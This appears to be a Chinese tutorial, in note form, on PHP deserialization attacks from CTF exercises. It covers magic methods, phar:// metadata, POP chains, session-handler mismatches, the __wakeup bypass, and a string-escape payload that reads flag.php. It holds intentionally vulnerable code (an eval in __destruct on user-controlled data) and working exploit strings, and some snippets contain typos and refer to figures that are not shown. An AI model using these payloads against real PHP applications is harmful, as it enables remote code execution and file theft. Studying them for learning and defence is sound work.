[TOC]
反序列化基础概念与原理
类和对象
类通过实例化得到一个具体的对象。
序列化与反序列化
序列化就是将一个对象(内存中的字节码)都变成一个字符串序列(可被存储)。
反序列化就是将字符串序列提取相应的内容变成对象
PHP中的序列化与反序列化
PHP中常见序列化与反序列化点-serialize()
介绍
construct()在PHP中是这个类的构造方法,以 __开头的函数或变量都是一些特殊的方法或变量。
<?php highlight_file(filename: __FILE__); class A{ public $a = ""; public function __costruct($a) { $this->a = $a; } } $serialized = serialize(new A( a: "DASCTF")); var_dump($serialized);
$object = unserialize($serialized()); var_dump($object);
|
PHP序列化出来的形式:
除了表中还有:
利用
<?php highlight_file(filename: __FILE__); class A{ public $a = ""; public function __costruct($a) { $this->a = $a; } public function __destruct() //被销毁的情况:程序被执行完 被手动delete 被垃圾回收GC(garbage collection) { var_dump( expression: "我正在被销毁! "); eval($this->a); } } $serialized = serialize(new A( a: "system('whoami');")); var_dump($serialized); $object = unserialize($serialized()); var_dump($object);
|
魔术方法
$a.test(1) $a.__call( 'test',[1,] )
|
把整个对象当成一个函数 $a()就会调用__invoke()方法
CVE-2016-7124
PHP中常见序列化与反序列化点-phar://
构造上传的文件:
测试生成的phar文件:
例题解析:
将对象放到文件中,必然经过序列化,得到序列化文件。
关于phar文件的媒体数据部分就可以放一个序列化文件,这个文件是肯定可以反序列化的。
当用phar协议打开phar文件就可以得到反序列化后的对象
PHP中简单调用链的找寻与构造
调用链 (pop链)
多个类时如何处理?
PHP中反序列化字符串逃逸
例题
<?php error_reporting(255); class A{ public $filename=__FILE__; public function __destruct(){ highlight_file($this->filename); } } function waf($s){ return preg_replace('/flag/i','index',$s); } if(isset($_REQUEST['x']) && is_string($_REQUEST['x'])){ $a = [ 0=>$_REQUEST['x']; 1=>"1" ]; @unserialize(waf(serialize($a))); }else{ new A(); }
|
payload:
读取界面:
<?php
$b = 'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}';
$a = [ 0 => $b, 1 => "1" ]; print(serialize($a));
|
<?php
$b = 'flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"\66\6C\61\67\2E\70\68\70";}}';
function waf($s) { return preg_replace('/flag/i', 'index', $s); }
$a = [ 0 => $b, 1 => "1" ]; print(waf(serialize($a)));
|
<?php
$b = 'flag';
function waf($s) { return preg_replace('/flag/i', 'index', $s); }
$a = [ 0 => $b, 1 => "1" ]; print(waf(serialize($a)));
|
总结
这种题的关键特征是,先把它构造在一个其他的对象中,可能是一个数组,可能是一个其他对象中。然后经过了一个序列化,在它序列化后直接经过了一个waf函数(waf函数里面是一些替换),再经过一个反序列化,再进行构造一个对象,因为前后长度不一致,导致字符串产生逃逸
去构造正常序列化后的字符串,将替换的index闭合掉,在构造另外一个键,构造想要的对象,再去计算理想对象的字长,计算逃逸多少位。
PHP中SESSION反序列化
session
session有时保存在内存中,当离开一个页面时,就会序列化保存在一个文件或者其他地方,以供其他页面后面进行读取。
php A|O:1:"A".... php_binary php_serialize
|
图上是使用php_serialize进行反序列化保存的结果,但是若用php保存的话,竖线前面的部分全部是键名,直到遇见竖线,后面的部分就逃逸出来了,作为一个serialize序列化的结果,就会对这里反序列化。
例题
如果传入a=1,就是正常的数组的方式进行serialize
访问index2界面,他这里是一个PHP的结果。
首先来构造想要的序列化字符串
利用引擎的差异将想要的序列化字符串传入session
结构变了
在反序列化中后面多了 ”;}是不会出错的,只要把前面的闭合好就可以
反序列化试炼
wakeup()绕过
多个类之间的调用
多类嵌套
总结
CVE-2016-7124
phar协议的利用:找到调用链后生成phar文件。phar文件的matedata就是序列化的结果,当用phar协议访问上传的文件时,就可以进行反序列化操作。
调用链怎么找?逆向寻找
先找到执行代码的地方,然后去找哪些地方会调用它,直到找到destruct,wakeup等它会自动调用的位置执行。
字符串逃逸:
很明显的特征就是先序列化,构造waf,最后再反序列化。waf中存在不等长字符串替换,产生字符串逃逸。
SSESSION反序列化:
利用不同引反序列化方式不同
让我们能够控制它要反序列化哪些东西,然后再去找一个调用链,从而执行相应命令或者代码。